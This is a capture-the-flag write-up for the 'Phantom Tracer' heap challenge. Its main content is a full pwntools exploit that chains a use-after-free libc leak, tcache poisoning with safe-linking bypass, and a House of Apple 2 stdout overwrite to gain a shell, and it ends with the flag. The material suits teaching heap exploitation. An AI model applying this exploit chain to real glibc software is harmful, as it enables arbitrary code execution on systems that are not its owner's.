Phantom Tracer
Heap Exploitation: House of Apple 2
Primer
Use pwninit to patch the binary with the given libc.
./pwninit --bin phantom_tracer --libc libc.so.6
Architecture and protections
The binary is x64.

The libc version is 2.39, which has tcache safe linking, and no easy hooks. However, it is vulnerable to House of Apple 2 (the relevant section is at the bottom of the article).

Static analysis
main() provides the standard CRUD menu for heap operations, with a UAF vulnerability:




Exploit planning
- Allocate a chunk too big to fit into the tcache bins, this will be used for the largebin attack.
- Allocate two more chunks that fit into the tcache bins, and are also big enough to hold the
house_of_apple2payload. These will be used in the tcache poisoning attack. - Free the first chunk, and use UAF to read
nextto leak a runtimelibcaddress. - Calculate the base of
libc, and thus derive the runtime address of_IO_2_1_stdout_. - Perform tcache poisoning on the other two chunks to obtain a pointer to
_IO_2_1_stdout_. - Write the
house_of_apple2payload to this pointer.
Exploit crafting
b *(main+364)
malloc(1080)

first malloc(256)

second malloc(256)

b *(main+656)

Exploit code
#!/home/kali/.venv/bin/python
import sys
from pwn import *
from pwncli import io_file
elf = context.binary = ELF("./phantom_tracer_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.39.so", checksec=False)
context.terminal = ["tmux", "splitw", "-h"]
def conn():
if "remote" in sys.argv:
return remote("chals.tisc-dc26.csit-events.sg", 31629)
p = process()
if "gdb" in sys.argv:
s = """
b *(main+364)
b *(main+656)
"""
gdb.attach(p, gdbscript=s)
return p
p = conn()
######################################################################
def malloc(size):
p.sendlineafter(b"Command> ", b"1")
p.sendlineafter(b"Signal Strength: ", str(size).encode())
def read(index, payload):
p.sendlineafter(b"Command> ", b"2")
p.sendlineafter(b"Node Index: ", str(index).encode())
p.sendlineafter(b"New Pattern: ", payload)
def free(index):
p.sendlineafter(b"Command> ", b"3")
p.sendlineafter(b"Node Index: ", str(index).encode())
def write(index):
p.sendlineafter(b"Command> ", b"4")
p.sendlineafter(b"Node Index: ", str(index).encode())
p.recvline()
return int.from_bytes(p.recvline()[:8], byteorder="little")
def unprotect(leak):
for i in range(8):
leak ^= (leak >> 12) & (0xff00000000000000 >> i * 8)
return leak
def protect(adr, val):
return (adr >> 12) ^ val
######################################################################
#pause()
malloc(1080) # 0
malloc(256) # 1
malloc(256) # 2
free(0)
libc.address = write(0) - 0x203b20 # 0x7f108e803b20 - 0x7f108e600000
p.success(f"libc : {hex(libc.address)}")
free(2)
free(1)
heap = unprotect(write(1)) - 0x110 # 0x5593d26e67f0 - 0x5593d26e66e0
p.success(f"heap : {hex(heap)}")
payload = p64(protect(heap, libc.sym["_IO_2_1_stdout_"]))
read(1, payload)
malloc(256) # 3
malloc(256) # 4
file = io_file.IO_FILE_plus_struct()
payload = file.house_of_apple2_execmd_when_do_IO_operation(
libc.sym["_IO_2_1_stdout_"],
libc.sym["_IO_wfile_jumps"],
libc.sym["system"]
)
read(4, payload)
######################################################################
sleep(0.1)
p.sendline(b"cat flag.txt")
p.interactive()
# TISCDCSG{vofdVmzO4ypb4YE0UemhJM0zQoY3DrL1}
Exploit success
